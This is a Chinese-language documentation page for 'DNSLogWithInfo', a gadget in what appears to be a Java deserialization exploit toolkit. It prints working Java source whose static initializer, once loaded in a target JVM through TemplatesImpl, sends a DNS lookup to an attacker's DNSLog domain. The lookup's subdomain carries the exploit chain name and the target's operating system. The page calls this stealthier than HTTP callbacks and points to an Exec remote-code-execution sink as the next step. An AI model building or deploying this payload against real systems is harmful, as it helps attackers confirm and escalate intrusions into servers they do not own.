- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无(仅需目标 JVM 与 DNS 解析)
在 DNSLog 基础上增强:生成的字节码在类加载时对 <链信息>.<os>.<dnslog> 发起 DNS 解析,把当前利用链名与目标操作系统编码进子域名一并回显。相比纯 HTTP 的 DNSLogAndHttp,它只用 DNS 通道,适配未开放 HTTP 出网但能 DNS 出网的环境。
- 入口
tags:Bytecode—— 声明产出原始字节码byte[],可被nextTags=Bytecode的加载器 BytecodeConvert 承接。END—— 链终止标签,本 gadget 是最内层 sink。
- 衔接
nextTags:空 —— 自身即字节码源头。 excludes:无。
gadget 本体:拼接链信息子域名,回填模板两个静态字段。
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(DNSLogWithInfoBytecode.class);
List<String> gadgetNameList = this.getGadgetNames();
gadgetNameList.remove(BytecodeConvert.class.getSimpleName()); // 剔除转换器名(非利用语义)
if (gadgetNameList.size() > 1) {
gadgetNameList.remove(gadgetNameList.size() - 1); // 去掉最后一个(本 sink 自身)
}
String payloadName = ... payload.getClass().getSimpleName(); // Payload alias 或简单类名
String subString = payloadName + "." + String.join(".", gadgetNameList);
if (subString.endsWith(".")) subString = subString.substring(0, subString.length()-1);
javassistHelper.modifyStringField("dnslog", this.dnslog);
javassistHelper.modifyStringField("subString", subString);
return javassistHelper.getBytecode();
}相比 DNSLogAndHttp 的 getObject,这里额外 gadgetNameList.remove(BytecodeConvert.class.getSimpleName())——因为链里通常含 BytecodeConvert 这个纯加工节点,把它从回显里剔掉,让子域名只反映真正的利用语义。getGadgetNames() 与同族一致:取每个 gadget 的 alias/简单类名,replace("_","-") 后 replaceAll("[^-a-zA-Z0-9]", "") 清洗成合法 DNS 标签。
真正探测的模板类 DNSLogWithInfoBytecode(静态块触发):
public class DNSLogWithInfoBytecode {
public static String dnslog;
public static String subString;
public DNSLogWithInfoBytecode() {
String osName = System.getProperty("os.name").toLowerCase();
String os = osName.contains("win") ? "windows"
: (osName.contains("mac") ? "macos"
: ((osName.contains("nix")||osName.contains("nux")||osName.contains("aix")) ? "unix" : "unknown"));
String host = subString + "." + os + "." + dnslog; // 链名.系统.dnslog
try { InetAddress.getByName(host); } // 仅 DNS 解析
catch (UnknownHostException e) { }
}
static { new DNSLogWithInfoBytecode(); }
}触发链条与 DNSLog 相同(<clinit> → 构造器 → InetAddress.getByName),但查询的主机名带上了 subString(利用链)与 os(操作系统)。攻击者在 DNSLog 后台看到形如 deser.fastjson.templatesimpl.windows.x.dnslog.cn 的解析,一眼即知:命中的 Payload/链、目标系统、且字节码已成功执行——纯 DNS 即可完成信息回显,无需 HTTP 出网。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
dnslog |
DNSLog地址 | 接收解析的域名,如 x.dnslog.cn;响应示例 deser.fastjson.templatesimpl.windows.x.dnslog.cn |
无 | 任意可控域名 |
- description:与 DNSLog1 的区别是包含当前利用链信息与目标系统信息,会自动在 DNS 头部额外追加子域名。
- 只走 DNS 通道,比 DNSLogAndHttp 更隐蔽、适配面更广(无需 HTTP 出网),但回传信息量少于 HTTP 版(不含环境变量/调用栈全文)。
- 跨 JDK 通用,无第三方依赖。
- DNSLog探测链(
[BytecodeConvert, DNSLogWithInfo],见 chains.json id=24)——本 gadget 作为最内层探测 sink,由 BytecodeConvert 包进TemplatesImpl加载执行。
- 上游加载器(承接
Bytecode):BytecodeConvert →TemplatesImpl。 - 同族探测 sink:DNSLog(仅裸 DNS,无信息)、DNSLogAndHttp(DNS + HTTP,回传环境变量/调用栈)。
- 功能对位的 RCE sink:
Exec(确认通道后替换)。